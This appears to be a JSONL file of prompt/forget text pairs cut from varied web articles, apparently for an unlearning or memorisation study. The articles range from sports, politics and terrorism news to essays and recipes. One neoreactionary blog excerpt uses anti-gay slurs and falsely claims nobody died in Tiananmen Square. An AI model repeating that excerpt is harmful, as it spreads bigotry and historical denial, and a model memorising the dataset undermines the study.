{"prompt": "Essentials WHAT Michigan vs Michigan State WHERE Spartan Stadium, East Lansing MI WHEN 3:30 Eastern October 25th, 2014 THE LINE MSU -17 TELEVISION ABC TICKETS From 149 WEATHER 60, sunny, 15 mph winds Overview I have to change this now. Since the Big Ten season started this section has been a slightly modified assertion that Team X is probably not real good with issues up the wazoo, a resume that does not intimidate, and a reasonably tractable Vegas line. None of these things are true in re: Michigan State. They are probably real good, they have no wazoo-rated issues, the", "forget": "worst thing on their resume is beating Purdue by two touchdowns, and Vegas is like lol head for the hills. Rats. Injury Guesses PROBABLY IN: Shane Morris is likely available. MAYBE: Erik Magnuson's rumored high ankle sprain should be healed by now, right? I mean, unless it's one of those high ankle sprains that never do. Jabrill Peppers is prominently listed on the depth chart but chatter has him potentially out for the season; we'll see if the internet or the program is more truthy. Bet here is internet. PROBABLY OUT: Delano Hill, Derrick Green, Desmond Morgan. Run Offense vs Michigan State Taiwan Jones is going to be making a lot of tackles. This is not the all-destroying unit of a year ago but it's still plenty good enough to shut Michigan's arthritic run game down. MSU is currently 28th in YPC allowed; notably, they crushed Nebraska to the tune of 47 yards on 37 carries. Things have gone less swimmingly at other times\u2014mostly times when someone pops into the secondary and there is flailing around him. Shane Wynn broke a 75-yard reverse last weekend; Tevin Coleman added a 65-yard romp; Purdue had rushes of 52 and 36 yards. That has scuffed up last year's national-best rush D. The problem for Michigan is what happens on carries that don't go 30 yards. Michigan State is in a tie for 116th with 4 rushes of more than 50 yards allowed; they're eighth with 21 rushes for more than ten yards. The secondary biffs at a high rate on a low number of plays that break long. When they don't go a long way they don't go anywhere unless you're Tevin Coleman. This is an obvious problem for a Michigan rush offense with three runs of 30 yards on the year, all"}
{"prompt": "In the late 12th century, the father of teenage Leonardo Fibonacci takes him off the North African streets and sets him at the feet of gruff Arab tutors. They can\u2019t help it \u2014 they like the kid, who they can tell is going to be a nightmare until they agree to teach him the Art of Nine Symbols. Back in Pisa, Fibonacci discovers an axiomatic sequence in which each number is the sum of the two preceding numbers (1, 1, 2, 3, 5, 8, 13, 21). The corresponding ratio describes the pleasing spiral he\u2019s been staring at all day \u2014", "forget": "it just looks right. Eight hundred years later, a creative-writing student drafting a story is told it might help to draw its plot. And there it is. (See figure A.) Structure Here come the metaphors. John McPhee compares writing a story to prepping a meal, and to the gathering \u2014 crystallizing \u2014 of salt underground. His essay, \u201cStructure,\u201d traces the Continental Divide, pulls on \u201cchronological drawstrings,\u201d and knits the presumed narrative scarf from the \u201cthreads\u201d everyone keeps talking about. McPhee encourages students to diagram a story as \u201ca horizontal line with loops above and below it to represent the tangents along the storyline, a circle with lines shooting out of it that denote narrative pathways\u2026\u201d (See Figure B.) The rhetorical free-for-all disguises the wide influence of the gist \u2014 the anatomy of storytelling. Speaking of stories, \u201cthe shape of the curve is what matters,\u201d says Kurt Vonnegut. Whereas Gustav Freytag\u2019s muse was, sadly, a triangle, the sign and symbol of Fibonacci-McPhee is more like a map. But they\u2019re manifestations of the same idea: of stories seeking, building, bending like a river, or anyways conceived of less as an appeal to a reader than as science-ish fieldwork. This definition of structure \u2014 indeed any definition of it \u2014 begs the question: What if structure is not that geometric or quite so cosmic or even, according to an au courant diagnosis, \u201ctelevisual?\u201d What if structure consists of questions themselves and not strictly the objects of those questions with which plotting is synonymous: A dead body. An excess of suitors. \u201cA fully armed and operational battle station.\u201d Stories posit a teller in the service of the told, who are now able to, if they must, rate that service with a fractional number of stars. But the novel especially is a kind of hopeless"}
{"prompt": "All of this helps explain why internet use can arguably become addictive in the sense that some chemicals are addictive -- that is, we can develop a dysfunctionally strong devotion to the internet, a devotion that leads us to neglect obligations and responsibilities (such as getting a novel written). After all, the internet, like these chemicals, allows us to trigger our neuronal reward mechanisms with much less work, and much more frequently, than was possible in the environment of our evolution. For example: In that environment, there was no pornography, much less the vast and instantly accessible supply found on", "forget": "the web. Nor was there the nearly infinite supply of gossip that is available now that we can spend our time trolling Facebook or living vicariously among celebrities and following their lives on TMZ. Nor was a robust round of social esteem always, potentially, just a moment away; it wasn't possible, in a very small and technologically primitive social universe, to at any time of day launch an observation or joke and hope for the prompt affirmation of dozens of retweets or Facebook likes. Nor was there a YouTube that permitted the easy indulgence of various natural human visual appetites -- watching endearing infants or two guys fighting or real-life slapstick or whatever. In other words: the internet, like a pack of cigarettes or lots of cocaine, lets you just sit in a room and repeatedly trigger reward chemicals that, back in the environment of our evolution, you could trigger only with more work and only less frequently. That's why an internet habit, like a cocaine habit, can reach dysfunctional levels. The above-listed forms of internet dependence -- porn, Facebook, TMZ, Twitter, YouTube -- are just a few of the possible ingredients of any one case of internet \"addiction.\" And each of these ingredients itself involves God-knows-which neurotransmitters and neuronal receptors and, by extension, God-knows-how-many genes. And all of us have lots and lots of these genes--genes that make us susceptible to internet addiction. Because what the internet does is take lots of things that natural selection designed us to find gratifying and make them much easier to get. Sure, some of these genes may vary from person to person in ways that make some people particularly susceptible to internet addiction (though environmental influences -- e.g. learning self-discipline -- presumably play a very big role). In fact, it will probably"}
{"prompt": "Manuel Pellegrini signed a one-year contract extension with Manchester City on Friday and insisted if the club wanted Pep Guardiola they would have told him. Pellegrini\u2019s new deal ties him to the club until 2017, with his previous contract having been due to expire at the end of this season. City are long-term admirers of Guardiola, the Bayern Munich coach. Their sporting director, Txiki Begiristain, and chief executive, Ferran Soriano, worked with him at Barcelona. Although Pellegrini admitted Guardiola would be favoured by any club, he is confident of his own position. \u201c[I\u2019m] not talking about Pep Guardiola, he is", "forget": "a manager that every team will want to manage because he is a great manager,\u201d he said. \u201cMaybe he is more linked with this team because of the relationship with Txiki and Ferran and I trust in them and I am sure if they want to bring in him, they will tell me. I have no problem with my relations inside the club. I know exactly how the owners think.\u201d Of his fresh terms Pellegrini said: \u201cWhat it means for me \u2013 it is very important for the club to trust in our work. I am very happy here also at Manchester City so if both parties are happy to continue [then good].\u201d Pellegrini admitted there is a possibility he could still be sacked as results are still vital to any manager\u2019s job prospects. \u201cI was used last season to the speculation. [Carlo] Ancelotti had a contract signed [with Real Madrid] and J\u00fcrgen Klopp had also a contract [at Borussia Dortmund],\u201d he said. \u201cYou know in this profession you need the results so it is very important for me to have a good season and good results. In football you never know how long are the contracts.\u201d Facebook Twitter Pinterest Manuel Pellegrini backs Raheem Sterling ahead of Premier League start. Link to video. Pellegrini would be open to staying at City beyond 2017. \u201cYou can sign for 10 years and four months after you are sacked but I think that when the two parties are happy with how you are working, of course you can extend your contract, not just for one year or two years. For me, the owners are happy with the way I am working. Me, I am also happy at this club. It is impossible to know about the future.\u201d David Silva, Sergio Ag\u00fcero and Samir"}
{"prompt": "A counterterrorism catch-and-release campaign by Canada's national police force may have prevented 10 aspiring jihadis from heading off to war, but the roundup at Montr\u00e9al-Trudeau airport is raising worries about what comes next for radicalized youth. On Wednesday, while federal and provincial political leaders applauded the police work, anti-radicalization experts said only an integrated effort involving civilians and police can deal with youth fixated on taking up arms in the Middle East or joining terrorist groups. In Montreal, which has become a jihadi recruiting hotbed, the only tool appears to be handcuffs. In the past six months alone, at least", "forget": "seven youths have left the city to join the Islamic State in Syria or Iraq. At least 15 other teenagers and young adults have been arrested pre-emptively. Some have volunteered to be monitored, while others, such as those arrested at the Montreal airport on the weekend, were simply released after having their passports confiscated. Story continues below advertisement Acting on a tip from one or more parents, the RCMP arrested the 10 youth at the airport but have released few other details. An 11th teenager was captured on video being led away from a Montreal home by investigators. None of the teenagers have been identified publicly and no charges were laid. The government may opt not to pursue a criminal case for fear that any public trial could force it to reveal sensitive intelligence methods \u2013 a situation that is a chronic issue in Canadian counterterrorism cases. The passport confiscations recalled last fall's terror attacks in which two lone-wolf assailants each killed Canadian soldiers after they were thwarted in attempts to travel abroad and possibly join jihadi groups. Officials provided no answer when asked how they might prevent similar backlash in the latest cases. The arrests again turned scrutiny toward a pre-university in Montreal's east end. Four of the people arrested on the weekend attended Maisonneuve College. A total of 11 alleged extremist recruits have now come from the school, which again denied it has a radicalization problem. \"It's increasingly clear youth recruitment is happening through social media,\" a statement issued by the school said. Observers are increasingly asking whether the threat to Canada can be contained if the ranks of extremists and thwarted jihadis continue to grow. The RCMP's terrorism prevention program is designed to intervene before suspects mobilize toward violence, but the details of the program remain murky."}
{"prompt": "Sartaj Aziz, the prime minister's adviser on foreign affairs and the government's de facto foreign minister, shared the state's charge sheet against Indian spy Kulbhushan Jadhav and a timeline of his trial in a media briefing on Friday. At the occasion, Aziz also asked why Jadhav, who was handed the death sentence on Monday by a Field General Court Martial for his involvement in espionage and sabotage activities in the country, had been carrying official documents under an alias at the time of his arrest. \"I would like to ask India why he [Yadhav] was using a fake identity and", "forget": "masquerading as a Muslim,\" Aziz asked. \"Why would an innocent man possess two passports \u2014 one with a Hindu name, and one with a Muslim name,\" he added. \"Since India has no credible explanation about why their serving naval commander was in Balochistan, it has unleashed a flimsy propaganda campaign,\" he said. The adviser also condemned what he called India's \"baseless allegations\", adding that the country's lack of cooperation and refusal to provide Pakistan legal assistance were the reasons Jadhav had not been granted consular access. \"Inflammatory statements and rhetoric about 'pre-meditated murder' and 'unrest in Balochistan', will only result in escalation, serving no useful purpose,\" he added. The charge sheet Aziz stated that Jadhav had been held responsible for the following terrorist activities in Pakistan: Sponsored and directed Improvised Explosive Device and grenade attacks in Gwadar and Turbat. Directed attacks on a radar station and civilian boats in the sea opposite Jiwani Port. Funded subversive secessionist and terrorist elements through hawala/hundi for subverting the Pakistani youth against the country, especially in Balochistan. Sponsored explosions of gas pipelines and electric pylons in Sibi and Sui areas in Balochistan. Sponsored IED explosions in Quetta in 2015, causing massive damage to life and property. Sponsored attack on Hazaras in Quetta and Shias en route to and back from Iran. Abetted attacks through anti-state elements against law enforcement agencies, the Frontier Corps and Frontier Works Organisation in areas of Turbat, Punjgur, Gawadar, Pasni and Jiwani during 2014-15, killing and injuring many civilians and soldiers. Steps taken to ensure transparency Aziz reassured critics that steps had been taken to ensure transparency during the trial of the Indian spy under Pakistan's laws and the Pakistan Army Act. Elaborating on these steps, the adviser said Jadhav's confessional statement had been recorded before a magistrate under Section"}
{"prompt": "While Merrick Garland failed to make it to the Supreme Court, he will still wield significant authority over the Trump agenda from his current post as chief judge of the D.C. Circuit. | Getty How Merrick Garland could torment Trump The spurned Supreme Court nominee has had a lot to say about deregulatory initiatives like the one the president's pushing. As Neil Gorsuch is sworn in to the Supreme Court, liberals are still teeming with anger over Merrick Garland being denied that same seat at the hands of Senate Republicans. However, many on the legal left are hoping the jilted", "forget": "Obama nominee can still play a role in thwarting one of the central thrusts of President Donald Trump\u2019s policy agenda: what top Trump adviser Steven Bannon famously called \u201cthe deconstruction of the administrative state.\u201d Story Continued Below As Trump presses to roll back regulations across the federal government \u2014 formally vowing to dismantle two rules for every new one issued \u2014 an article Garland wrote more than three decades ago has emerged as a kind of playbook for those plotting the legal resistance to Trump\u2019s campaign to unwind regulations aimed at protecting the environment, workers\u2019 rights and more. The 1985 article in the Harvard Law Review, penned as the Reagan administration's deregulation initiative was gathering steam, emphasized the duties of courts to take a \"hard look\" at attempts to revoke federal rules. Garland argued that agencies revoking regulations must have at least as good a basis for killing a rule as they did for issuing it \u2014 and that the action be consistent with congressional intent. \u201cThe hard look demands that the agency show that the course it chose was reasonable in light of the relevant policies, alternatives, and facts,\u201d Garland wrote. Another legal expert said there are unmistakable parallels between the Reagan-era deregulation effort Garland helped resist in the courts and the one Trump is embarking upon. \u201cThis is the world we are about to enter,\u201d said Paul Verkuil, a leading authority on the federal rulemaking process. \u201cYou have to be able to justify your decision to end a regulation. ... [Garland] pretty much knew what he was talking about. It was a dramatic and important article which got a lot of play.\u201d While Garland failed to make it to the Supreme Court, he will still wield significant authority over the Trump agenda from his current post as chief"}
{"prompt": "The great comedian Milton Berle had a powerful put-down for the many acts that auditioned for his show but failed to make the grade. \u201cHigh school,\u201d he\u2019d call them. And I can\u2019t think of a better term to describe the Conservative campaign brain trust at the midpoint of this long election season. Just lately, for example, the campaign seems to be having a tiny problem with geography. Last Friday, a Harper tweet provided a lovely snapshot of Little Crater Lake in the state of Oregon to illustrate its commitment to the Canadian great outdoors. Earlier in the week, a campaign", "forget": "spot talked about shipbuilding in Halifax, N.S. \u2026 against a backdrop of Johnstown, Ont. A group of Colombian miners sat in for a party ad promoting a mineral exploration tax credit. And then there was the Tory ad which misidentified a B.C. salmon as its Atlantic cousin \u2014 the online trolls are still chuckling over that one. Well, these things happen. So do things like a sudden drop in the polls to third place. If that\u2019s not a wakeup call, I don\u2019t know what qualifies. It all made me think of an incident in the 2000 campaign, when Canadian Alliance Leader Stockwell Day lamented that Canadian talent and brains were heading south to the U.S., \u201cjust like the Niagara River.\u201d The message was sound, the words were not; the Niagara actually flows northward. Day took a lot of ungentle ribbing for that error \u2014 but his mistakes fade in comparison to the fiasco in the Big Blue Bus these days. There\u2019s one common thread that links Day\u2019s experience in 2000 to what Harper is going through right now: a profound sense of confusion on the ground. But that\u2019s where the similarities end. I worked on the Day campaign as legislative assistant to a front-bench MP. For the Alliance, the 2000 election was an unwelcome surprise from PM Jean Chretien, who always knew how to catch his opponents off guard. The CA had just been through a highly divisive leadership campaign and the party was low on funds. There was little corporate support for the party and many influential backers were waiting to see whether the Alliance could really replace the Progressive Conservatives as a centre-right alternative to the Liberals. Day fought that campaign on a shoestring, with family members playing key roles in the process. The Conservative party is having"}
{"prompt": "WikiLeaks released audio recordings Wednesday apparently hacked from the Democratic National Committee\u2019s servers, including a message from an irate Hillary Clinton supporter demanding the party stop \u201cbending over backwards\u201d for Bernie Sanders. Links to the 29 recordings were posted on Twitter a few hours before US President Barack Obama took the stage in Philadelphia to address the party\u2019s national convention, a meeting that formally nominated Clinton as the Democratic candidate for the White House. The confab was meant to be a show of unity, but instead has exposed the raw anger of Sanders supporters who feel disenfranchised by the primary", "forget": "process. The WikiLeaks files seemed timed to embarrass the party and Clinton, although the audio recordings did not appear to contain any bombshell revelations. They came after the anti-secrecy website on Friday leaked 19,000 emails from the accounts of several top Democratic party leaders. At least two email messages suggested an insider effort to hobble Sanders\u2019 upstart campaign against Clinton -- including by seeking to present him as an atheist in deeply religious states. The uproar following the leak forced party chief Debbie Wasserman Schultz to abruptly announce her resignation on the eve of the convention she was meant to preside over. In one audio recording, the angry Clinton supporter said in her minute-long voice mail that she was \u201cfurious\u201d about what she perceived as party support for Sanders and giving the self-described democratic socialist \u201ctoo much influence.\u201d \u201cBernie is the worst person in the world to even be running in the Democratic Party because he\u2019s not a Democrat,\u201d said the unidentified woman, who noted she was on a fixed income and had donated $300 to Clinton. \u201cQuit acquiescing to this person who likes to play the victim card and who also has been attacking Hillary, which gives Trump all his talking points. I will leave the Democratic Party if the Democratic Party continues to coddle Bernie Sanders,\u201d she said. It was not known which party official the woman was trying to reach. In another recording, a woman -- possibly the same person in the earlier call -- was upset the party was letting Sanders supporter Cornel West serve on the platform committee, calling him \u201ctrash.\u201d The audio files also provided a small glimpse of the daily inner workings of the party, with a staffer from an ambassador\u2019s office calling to make sure her boss received an invitation to a"}
{"prompt": "Black Pepper May Give You A Kick, But Don't Count On It For Weight Loss Is black pepper the new secret weapon against fat? A recent paper in the Journal of Agricultural and Food Chemistry claims that the piperine, an ingredient in black pepper, has the power to stop the body from making new fat cells, and could be used to treat obesity. Enlarge this image toggle caption iStockphoto.com iStockphoto.com Now before you run out and buy yourself a pepper grinder and a pint of ice cream, it's worth noting that the studies were done on cells grown in a", "forget": "petri dish. And not even human cells \u2014 mouse cells \u2014 loaded with concentrations of piperine 100 times higher than what one might ever achieve in the bloodstream. \"That's not to say that pepper might not have some really interesting effects,\" Michael Jensen, an endocrinologist at the Mayo Clinic, tells The Salt. Turns out there is some limited evidence that pepper, ginger- and other spicy foods might actually benefit your metabolism. There are a number of studies showing that capsaicin \u2014 the stuff that gives chili peppers their heat \u2014 can rev-up the motor of our metabolism \u2013 and some of them have even been done on humans. Even mild peppers contain it, as we've reported before. But the effects are modest at best. At least one study suggests that the function of capsaicin may be to suppress appetite, rather than increase calorie or fat burning. Still, those modest benefits are enough to spark claims that extracts of these spices are the next weight loss miracle. Capsules of cayenne or piperine extracts can be found online or in the nutritional supplement section of your local drug store, and dozens of manufacturers include them in products that claim to promote weight loss. But researchers at Purdue University have found some evidence that it may not be enough to just take a pill \u2014 you have to actually taste the pepper to make it effective. That same research showed that the metabolic effects are strongest in people who don't normally eat spicy food, and the effects may only be temporary. With regard to the current study, Mike Jensen says that even if black pepper can prevent new fat cells from forming in humans the same way it prevents mouse fat cells from forming in a petri dish, that might not be such"}
{"prompt": "A soldier in Borno state as the area is liberated from Boko Haram's grip The Boko Haram extremist group has been crushed and forced from its last enclave, Nigeria's president has said. Muhammadu Buhari said Nigeria's army had captured a key Boko Haram camp in the Sambisa forest that was its stronghold. \"The terrorists are on the run and no longer have a place to hide,\" Mr Buhari said in a statement. The capture of Camp Zero, deep within the heart of the forest, marks the \"final crushing of Boko Haram terrorists in their last enclave\", he said. Despite the", "forget": "announcement, Nigeria is unlikely to see an imminent end to suicide bombings and other terrorist attacks that have been carried out by the group for the past years. The AP news agency reported that the insurgents may already be regrouping in Taraba and Bauchi states, south of their northeastern stronghold in Borno state. Image: There was no word on the fate of purported Boko Haram leader Abubakar Shekau There, they could be taking advantage of a decades-old conflict in central Nigeria between mainly Muslim nomadic cattle herders and sedentary Christian farmers. Boko Haram has killed 15,000 people and displaced more than two million during its seven-year insurgency. The group aims to create an Islamic state governed by a strict interpretation of sharia. In early 2015, it controlled an area in the northeast around the size of Belgium. But since then it has been pushed out of most of that territory by Nigeria's army and troops from neighbouring countries - retreating mostly to the Sambisa forest, a former colonial game reserve. Image: A Boko Haram video purportedly showing some of the schoolgirls captured in Chibok The Sambisa Forest was where Boko Haram was believed to be holding some of more than 200 schoolgirls kidnapped in April 2014 from a school in the town of Chibok. The mass abduction brought the Islamic extremists world attention and sparked an international social media campaign #BringBackOurGirls. \"Further efforts should be intensified to locate and free our remaining Chibok girls still in captivity,\" Mr Buhari said. Our prayers are with the missing Nigerian girls and their families. It's time to #BringBackOurGirls. -mo pic.twitter.com/glDKDotJRt \u2014 The First Lady (@FLOTUS) May 7, 2014 Some girls have been freed in negotiations, and others escaped. But the majority remain missing, while others are believed to have died in captivity. Mr"}
{"prompt": "I have written in the past about Bush, Cheney, and Palin derangement syndrome. It is a psychiatric defect suffered only by Democrats. Now we have Trump derangement syndrome. He is the Republican presidential nominee. Paradoxically, this syndrome afflicts only former Republican elites. Apparently these folks thought they owned the Republican Party. However, because they need 70 million voters to win in November every four years, they led the rank-and-file Republican voters to believe that THEY owned the party and got to choose its nominee. It is fair to say that the Republican Party elites regret that they did not create", "forget": "a huge number of super delegates, namely themselves. I think it\u2019s fair to call George Will and Brett Stephens and Thomas Sowell and Mitt Romney \u201cundocumented Republican super delegates\u201d who are really pissed that they do not now have the power to overrule the rank-and-file Republican primary voters. Early in this campaign, they demanded that Trump sign a pledge to support the Republican nominee. He did. So did all the other candidates. Trump commented at the time that it had to be a two-way street. He was assured it was. The only person who might not support the Republican nominee was said to be Trump. Those with Trump derangement syndrome claim two problems: 1. Trump will lose in a landslide in November taking the Republican Congressional majorities with him. 2. Trump is vulgar and uninformed about issues. For a year, people have been predicting that Trump would lose in a landslide in his efforts to win any nominating convention delegates. They were wrong\u2014by a mile. Why does it not occur to them that they might be wrong about the general election? I believe there were similar fears in 1980 when Reagan won the nomination. The elites that year favored George H.W. Bush. Reagan won 489 electoral votes to 49 for Carter. In 1984, Reagan won reelection by 525 to 13 over Mondale whose campaign manager was Bob Beckel, now an \u201cexpert\u201d on MSNBC. If the experts are as wrong about Trump in the general as they were in the primaries, Trump will win a historic victory in November, maybe exceeding Reagan\u2019s number of electoral votes and carrying downticket Republicans with him. America is a democracy. Universal suffrage. Someone told Democrat presidential candidate Adlai Stevenson in the 1950s that \u201call thinking men are with you.\u201d \u201cThat\u2019s not enough,\u201d Stevenson replied. \u201cI"}
{"prompt": "CHICAGO (STMW) \u2014 Three people were killed and at least 13 others wounded in shootings across the city between Friday evening and Monday morning. The latest fatal shooting happened Sunday morning in the Marquette Park neighborhood on the Southwest Side. About 11:25 a.m., officers responding to a call of a person on the ground in the 6500 block of South Fairfield found 18-year-old Dennis Bradford III unresponsive with gunshot wounds to the head and wrist, according to Chicago Police and the Cook County medical examiner\u2019s office. Bradford, of the the 6200 block of South Mozart, was pronounced dead at the", "forget": "scene at 11:43 a.m., authorities said. Earlier Sunday, a 28-year-old man died after being dropped off at a Far South Side hospital with a gunshot wound to the hip, police said. He showed up at Roseland Community Hospital, 45 W. 111th St., shortly before 5 a.m. and later was pronounced dead, police said. His name has not been released. Authorities are trying to determine where the shooting happened. Area South detectives are handling the homicide investigation. The weekend\u2019s first fatal shooting happened Friday evening in West Elsdon on the Southwest Side. Lauren Membreno, 23, was in the front seat of a vehicle parked in the 5500 block of South Karlov about 7 p.m. when another vehicle pulled up and someone inside opened fire, authorities said. Membreno \u2014 who wasn\u2019t the intended target \u2014 was shot in the head and taken to Mount Sinai Hospital, where she was pronounced dead at 5:37 p.m. Saturday. She lived in the 5300 block of South Spaulding, authorities said. A police source said her boyfriend, who was sitting in the driver seat, was thought to have been the target. The most recent nonfatal shooting happened early Monday in the West Side Austin neighborhood. A 25-year-old man was a passenger in a vehicle going westbound in the 5300 block of West Chicago about 12:30 a.m. when he heard gunfire and realized he\u2019d been shot in the right foot. He was driven to West Suburban Medical Center in Oak Park, where his condition was stabilized, police said. Four people were wounded during a two-hour spate of gunfire Sunday night. About 10 p.m., a 14-year-old boy was shot in the hand in the Belmont Central neighborhood on the Northwest Side. He and two other people were walking in the 5700 block of West Belden when a gunman opened"}
{"prompt": "WASHINGTON, D.C. -- Five years after a Zanesville animal keeper triggered panic by unleashing tigers, lions and bears in Ohio's countryside, the federal government is looking anew at restricting the public's ability to pet and pose for pictures with young, potentially dangerous animals. The risk to humans from petting an adorable 5-week-old tiger cub at a roadside zoo is not so much the issue. But to make tiger and bear cubs available for cuddles, ooohs and aahhs, wild animal parks rely on a breeding-and-handling ecosystem that animal-rights activists say results in cruelty and abandonment. If the government would eliminate your", "forget": "right to snuggle with a big cat while that cat is still little, the activists say, then the larger ecosystem -- the one that helped Terry Thompson acquire 56 wild, dangerous animals that he released from cages before killing himself in October 2011 -- could be quashed. Some people say this is overkill. The federal government, which in March began tamping down on public handling of baby lions and tigers, wants to hear more from the public about proposed restrictions. What it's about: The move to restrict handling of wild animals by anyone other than professionals in accredited zoos or wildlife sanctuaries grew heated after Thompson, deeply in debt and reportedly despised by some neighbors, released 56 animals from his 73-acre Muskingum County farm, then killed himself with a gunshot. The animals included tigers, lions, bears, leopards and wolves. In the ensuing panic throughout the countryside, police killed 49 of the animals. Panic in Zanesville Ohio clamped down on ownership of dangerous animals in the aftermath, first with an executive order, and then with a state law requiring a permit for ownership of dangerous animals including tigers, lions, bears, elephants, alligators, crocodiles and anacondas and pythons 12 feet or longer. The state made exemptions for animals already in possession if certain rules were followed. How petting became an issue: Not all states have laws like Ohio's -- and it took the Zanesville emergency to get Ohio to act. In fact, former Gov. Ted Strickland had signed an order in 2010 requiring exotic animals to be registered, but Gov. John Kasich let it lapse in 2011. Kasich signed a new, related order soon after the Zanesville animal mayhem, and state lawmakers went to work soon after that. Yet regardless of state laws, a separate issue was unresolved in the eyes of"}
{"prompt": "Writers on the Range Should we accept invasive species that don\u2019t cause harm? Amid a national immigration debate, the collared dove raises questions about acceptance. It was early October 2014, when a bird that neither my wife, Hilde, nor I had ever seen before visited our property in southern Oregon. About 20 feet from our dining room table, on the other side of a clean glass wall, the wide railing of an outdoor deck serves as a platform feeder. Early every morning, I spread a mixture of millet, sunflower seeds and dried corn across the railing and then ring a", "forget": "dinner bell by way of invitation, after which the guests \u2014 scrub jays, towhees, sparrows, juncos, red-winged blackbirds, acorn woodpeckers \u2014 at once begin to arrive. That October day, the newcomer came first, swooping down from the upper limbs of an oak tree across the yard. It was immediately clear that it was a dove, and also that it was larger, more heavily built and too light-colored for a mourning dove, the species native to our area. Thanks to the internet, we knew within minutes that the bird was a Eurasian collared dove, so named because of the black half-collar at the nape of the bird\u2019s neck. In the mid-1970s, the species, native to Asia, became established in the Bahamas after one escaped a pet store. The birds reached across to Florida in the 1980s, then gradually spread westward. Marie Hale, Flickr user Though by no means spectacular, the collared dove is a handsome creature. Its black bill, dark eyes, smoothly feathered gray body and white tail feathers perfectly embody what the Japanese call shibui \u2014 elegant simplicity. During the two years since that first one arrived, their numbers here have gradually increased, and sometimes we now enjoy a dozen or more a day at the feeder. But some neighbors up the road don\u2019t want the birds here, because Eurasian collared doves are an \u201cinvasive species,\u201d and, they believe, should therefore be eliminated. We know others who share this view, including a family that loves to hike but never leaves home without machetes to deal with invasive plants they encounter. Hilde and I made the mistake of joining them once, and when we ran into a massive stand of Scotch brume, the outing turned into what could easily have passed for a chain gang at hard labor. This hostility toward"}
{"prompt": "This is how I\u2019ve decided to prepare for summer this year: 1. Buy tiny madras shorts and aviator sunglasses for the toddler. Like I could resist. 2. Let fear of bathing suit season convince me to let a friend drag me to my first Pilates class, ever, and not even a beginner class. Ow. I\u2019m pretty sure I should have resisted. 3. Allow myself the purchase of a single purpose, space-hogging (well, not for a normal sized kitchen but definitely for mine) appliance I have coveted for more than a decade, just because it will take us from lemons to", "forget": "lemonade in under 5 minutes. I\u2019m so glad I didn\u2019t resist. Logically, to celebrate the fact that I finally accepted that the joy an electric citrus juicer would bring me* would outmatch the inconvenience of storing it, the recipe that I\u2019d share today would be for lemonade. But the toddler is at his grandparents for the night and you know that means: We took the bourbon down from the top shelf. Amusingly enough, our current favorite cocktail sprang out of our quest to find a perfect version our previous favorite cocktail, the Manhattan. We learned last December that one of our favorite neighborhood restaurants, Back Forty, made an excellent one, and so we went back for another. And another. And one night \u2014 really, we have only ourselves to blame \u2014 they ran out of sweet vermouth and we were forced to order something else. Seeing as the restaurant creates the most ungodly delicious fried-to-order doughnuts, does things with cheese curds and ramps I can only daydream about and makes a damn fine burger, we decided to trust their instincts and ordered their signature cocktail. And even though it was the dead of winter, even though we had our coats and hats and gloves piled on our laps and our feet stuffed in snow-crusted boots under the bar, this lemonade-on-ice cocktail instantly transported us to a summery kind of place. And we\u2019ve stayed there since. * Amusingly, in my attempts over the last 10 years to convince myself that no space-efficient kitchen needs such a silly machine, I\u2019ve amassed a cluttered drawer of citrus hopefuls. There have been two reamers, one metal and one wooden, a lever-handled old-fashioned looking thing that turned out to be pretty but absolutely useless, a Kitchen Aid attachment that sprayed my clothes and left juice"}
{"prompt": "Chaucer depicts three priests: The Friar, the Summoner, and the Pardoner. All of the them are corrupt and avaricious. The Summoner and the Pardoner are low testosterone gays, and the Pardoner is a predatory pedophile gay. The Friar has seduced many women, and been forced, therefore, to pay dowries to get them married off. The Moldbug canon is that the professors rule, with the mass media as the mid-level priesthood. But lately Donald Trump and the alt-right have been giving the mass media a hard time. Which tells me that the world is starting to lose faith in the superior", "forget": "virtue of our priesthood. The disturbances in Hong Kong were a good example of priestly power. Cathedral astroturf protestors were able to disrupt the city because backed by police. The police did what was virtuous, (they supported democracy and all that) rather than what their duty required. (The police should have arrested criminals and troublemakers, and kept the roads open. It was police, rather than protestors, that closed the roads. When a tiny handful of protestors declared a road closed, if police had walked away, drivers would have driven over the protestors.) Had the same thing happened in Tiananmen Square, the Cathedral would have successfully mounted a \u201cdemocratic\u201d takeover of China, and Wall Street would have looted China the way it looted Russia after the fall of the Soviet Union. Contrary to Cathedral myth, nobody got killed in Tiananmen Square. The authorities, having the warriors cheerfully obey them, were able to quell the protests with very little fuss. You only get real violence when the priests succeed in sowing disunity among the warriors. Recall what happened when \u201cOccupy Wall Street\u201d ran into Wall Street rentacops. What happened, I hear you ask? Answer: Absolutely nothing happened, because Wall Street rentacops were certain of their duty and the righteousness of performing their duty. If you are a rentacop, you believe in private property rights. It is part of your training, and if you don\u2019t believe in private property rights, you fail your training. So when Occupy showed up to violate private property rights, the rentacops said \u201cNo\u201d and Occupy failed to violate private property rights. And similarly, nothing happened in Tiananmen Square. Priestly power rests on moral authority, on superior virtue, while warrior authority rests on the ability to kick ass. We know the priesthood is virtuous because they are ceaselessly nagging"}
{"prompt": "When exactly is Durin\u2019s Day in The Hobbit? at 5:42 am by - October 5, 20135:42 am by Demosthenes When exactly is Durin\u2019s Day? For various reasons, including the non-exact correlation of the Shire Calendar and our modern Gregorian calendar, it\u2019s quite hard to know for certain. In this extensively researched piece, DarkJackal uses Tolkien\u2019s notes as published in John D. Rateliff\u2019s The History of the Hobbit to explains why there are conflicting theories\u2026 and, in a very Tolkienian fashion, no definitive or easily settled upon answer. Confusticate and Be-bother these Dates! The Durin\u2019s Day dilemma by DarkJackal Having read", "forget": "a number of articles on Durin\u2019s Day, including various attempts to assign a date to it within the story, and to predict it in our modern world, I feel compelled to write my own brief (ha!) essay. My approach to this is two-fold: First \u2013 take Excedrin for the headache this issue is causing. Second \u2013 quote John D. Rateliff\u2019s The History of the Hobbit until things begin to make sense. \u201cIt was the start of the dwarves new year, when the last moon of autumn and the first sun of winter appeared in the sky together.\u201d \u2013 Gandalf (The Hobbit: An Unexpected Journey) Many Tolkien enthusiasts estimate Durin\u2019s Day of 2941 (which Thorin Oakenshield said happens towards the end of autumn, but not necessarily the last day of autumn, as Gandalf stated in the film) to have occurred in October. You can see how they arrived at this conclusion in the following articles: The Moon and Durin\u2019s Day \u2013 by Lalaith Was Smaug Slain Oct 26, 2941 TA? \u2013 by Auraran Durin\u2019s Day 2013 \u2013 by Ask About Middle Earth Is Durin\u2019s Day Upon Us? \u2013 by The Dwarrow Scholar Timeline/Chronology for \u201cThe Hobbit\u201d \u2013 by Douglas Wilhelm Harder Other authors calculate that Durin\u2019s Day in our world would happen in December, based on our own definition 